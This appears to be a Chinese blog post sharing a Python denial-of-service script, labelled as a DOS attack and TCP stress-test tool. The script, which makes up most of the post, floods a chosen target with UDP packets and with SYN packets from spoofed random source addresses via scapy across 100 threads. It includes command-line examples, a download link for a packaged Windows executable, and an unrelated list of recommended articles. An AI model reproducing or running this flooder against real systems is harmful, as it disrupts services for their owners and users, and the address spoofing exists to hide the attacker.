pip3 install string&&scapy
 1 #!/usr/bin env python
2 #-*-coding:utf-8-*-
3 import socket,random,string
4 import time,sys
5 from scapy.all import *
6 from concurrent import futures
7 class Dos:
8 def __init__(self,t_ype,sip,dip,port,pps,dos_time):
9 self.t_ype = t_ype
10 self.sip = sip
11 self.dip = dip
12 self.port = port
13 self.pps = pps
14 self.dos_time = dos_time
15 self.data=''.join(random.choice(string.ascii_letters+ string.digits) for x in range(10000)) #10000字节80k
16 def _udp(self,work_id):
17 count = 0
18 while count<self.dos_time:
19 try:
20 sk = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
21 sk.bind((self.sip,0))
22 sk.sendto(self.data.encode('utf-8'),(self.dip,self.port))# 8M
23 except Exception as e:
24 print(e)
25 time.sleep(0.01)
26 count+=0.01
27 def _tcp(self,work_id):
28 count = 0
29 sip = '.'.join([str(random.randint(1, 256)) for x in range(4)])
30 syn = IP(src=sip,dst=self.dip)/TCP(sport=RandShort(),dport=self.port,flags='S')
31 while count<self.dos_time:
32 try:
33 send(syn,verbose=0,inter=0.01,count=100)
34 except Exception as e:
35 print(e)
36 time.sleep(1) #100个tcp连接
37 count+=1
38 def run(self):
39 if self.t_ype.upper() == 'UDP':
40 func = self._udp
41 pps = self.pps//8+1
42 unit ='Mpps'
43 count = pps*8
44 elif self.t_ype.upper()=='TCP':
45 func = self._tcp
46 pps = self.pps//100+1
47 unit = 'Connetcions'
48 count = pps*100
49 work_id = [x for x in range(pps)]
50 print('''SourceIp:%s
51 DestiantionIp:%s
52 DstPort:%s
53 %s:%s %s
54 KeepTime:%sS'''%(self.sip,self.dip,self.port,self.t_ype,count,unit,self.dos_time))
55 with futures.ThreadPoolExecutor(100) as executor:
56 res = executor.map(func, work_id)
57 if __name__=='__main__':
58 try:
59 t_ype,sip,dip,port,pps,dos_time = (sys.argv[x] for x in range(1,7))
60 dos = Dos(t_ype,sip,dip,int(port),int(pps),int(dos_time))
61 dos.run()
62 except:
63 print('argv:')
64 print(' tcp/udp,SourceIp,DestiantionIp,DstPort,Mpps/Connections,KeepTime')
65 print(' SourceIp:TCP can be a fake IP,UDP cannot ')
66 print(' Mpps/Connections:UDP use Mpps,TCP use Connetcions ')
67 print('example:')
68 print(' ./dos udp 10.0.3.108 10.0.64.74 1111 10 5')
69 print(' ./dos tcp 1.1.1.1 10.0.64.74 1111 1000 5')
70
71
72 # 机器性能不足可以启用多进程
73 # from multiprocessing import Process
74 # def dos(sip,dip,port,pps,dos_time):
75 # pps = pps//8+1
76 # print('''SourceIp:%s
77 # DestiantionIp:%s
78 # DstPort:%s
79 # pps:%sMpps
80 # KeepTime:%sS'''%(sip,dip,port,pps*8,dos_time))
81 # for x in range(pps):
82 # p = Process(target=run,args=(sip,dip,port,dos_time))
83 # p.start()

windows 打包exe

链接:https://pan.baidu.com/s/1xkzZaWn9gw1b6W9AkavOzg
提取码:wq05

python DOS 攻击,TCP压测脚本的更多相关文章

  1. python join()方法的使用,可以应用到tcp压测发送指定数据长度的应用

    Python join() 方法用于将序列中的元素以指定的字符连接生成一个新的字符串.其中,序列中的元素应是字符串类型. 学习join()方法主要是为了配合随机数的使用,生产某个指定位数的随机数,在t ...

  2. 手把手用Monkey写一个压测脚本

    版权声明: 本账号发布文章均来自公众号,承香墨影(cxmyDev),版权归承香墨影所有. 允许有条件转载,转载请附带底部二维码. 一.为什么需要一个测试脚本? 昨天讲解了Android Monkey命 ...

  3. 一文揭秘测试平台中是如何将测试用例一键转化Jmeter压测脚本

    ​    ​接上篇,一键转化将接口测试平台测试用例转化成Jmeter压测脚本思路,这里我首先在java 上面做了一个简单的实验,看看 转化的中间遇到的问题,这里呢,我只是给了一个简单的demo 版本, ...

  4. python服务端多进程压测工具

    本文描述一个python实现的多进程压测工具,这个压测工具的特点如下: 多进程 在大多数情况下,压测一般适用于IO密集型场景(如访问接口并等待返回),在这种场景下多线程多进程的区分并不明显(详情请参见 ...

  5. jmeter压测脚本编写与静态文件处理

    一.压测脚本编写 概述:工具为谷歌浏览器-->F12-->Network,访问被测站点,通过其中的请求的地方来构造压测脚本 二.静态文件处理 概述:静态文件包括css/js/图片等,它们有 ...

  6. JMeter扩展Java请求实现WebRTC本地音视频推流压测脚本

    WebRTC是Web Real-Time Communication缩写,指网页即时通讯,是一个支持Web浏览器进行实时语音或视频对话的API,实现了基于网页的视频会议,比如声网的Agora Web ...

  7. ab压力测试工具-批量压测脚本

    ab(Apache benchmark)是一款常用的压力测试工具.简单易用,ab的命令行一次只能支持一次测试.如果想要批量执行不同的测试方式,并自动对指标进行分析,那么单靠手工一条一条命令运行ab,估 ...

  8. 无界面运行Jmeter压测脚本 --后知者

    原文作者---后知者 原文地址:http://www.cnblogs.com/houzhizhe/p/8119735.html [后知者的故事]:针对单一接口压测时出现了从未遇到的问题,设好并发量后用 ...

  9. nginx、php-fpm、swoole HTTP/TCP压测对比

    本次测试是在win7下docker环境中进行压测,共创建一个nginx容器.一个php-fpm容器和一个swoole容器,客户端请求nginx服务器,nginx接收用户访问请求并转发给php-fpm, ...

随机推荐

  1. GlusterFS(GFS) 分布式存储

    GlusterFS(GFS) 分布式存储   GFS 分布式文件系统 目录 一: GlusterFS 概述 1.1 GlusterFS 简介 1.2 GlusterFS特点 1.2.1 扩展性和高性能 ...

  2. 开发一个自己的 CSS 框架(四)

    这一节,我们来讲规矩,谈网格,做人可以不要脸,不讲规矩,不讲道理(特指傲娇兽),但底线还是要有的,如同网格一样,不能超出. jeet 这里我们别人封装好的模块,不过呢,我们也会详细介绍一下原理.首先我 ...

  3. 开源HTML5游戏引擎Kiwi.js 1.0正式发布

    Kiwi.js是由GameLab开发的一款全新的开源HTML5 JavaScript游戏引擎.在经过一年多的开发和测试之后,终于在日前正式发布了Kiwi.js 1.0版本. 其创始人Dan Milwa ...

  4. java中什么是内部类?它有什么用?如何使用?

    什么是内部类?马克-to-win:一句话:类中还有类.里边的叫内部类, 外边的叫外层类.有什么用?1)像文件夹一样,文件放文件夹里更清晰,内部类放外层类中, 清晰.主要从编程序的逻辑角度出发,有用.比 ...

  5. 修改Menu_item的字体属性

    前面一直在找 MenuItem的文字颜色的设置.我发现API中只有背景颜色的设置... 所以找到下面的方法.在OverFlow上看到的.在onCreateOptionsMenu中覆写一下, 使Menu ...

  6. tomcat 安装配置及问题解决

    最近没写程序 刚想运行一个jsp程序发现tomcat出现一些问题,然后就重新装了程序,重新配置 总结经验就是不要怕报错,把错误复制下来,百度里面都有解决办法 要安装与自己jdk版本相匹配的tomcat ...

  7. (ICONIP2021)On the Unreasonable Effectiveness of Centroids in Image

    目录 摘要 1.引言 2.提出的方法 2.1 CentroidTripletloss 2.2 聚合表示 3.实验 3.1 数据集 3.2 应用细节 3.3 Fashion检索结果 3.4 行人再识别结 ...

  8. caioj 1002: [视频]实数运算2[水题]

    题意:输入三个数,计算并输出它们的平均值以及三个数的乘积,结果保留2位小数. 题解:简单题不写题解了-- 代码: #include <cstdio> double a, b, c; int ...

  9. 在Wireshark中使用过滤器——显示过滤器

    在Wireshark运行过程中选择搜索(Ctrl-F),第一个默认的搜索选项就是显示过滤器. 显示过滤器用于捕获文件,用来告诉Wireshark只显示那些符合过滤条件的数据包. 显示过滤器比捕获过滤器 ...

  10. golang 中 sync.Mutex 的实现

    mutex 的实现思想 mutex 主要有两个 method: Lock() 和 Unlock() Lock() 可以通过一个 CAS 操作来实现 func (m *Mutex) Lock() { f ...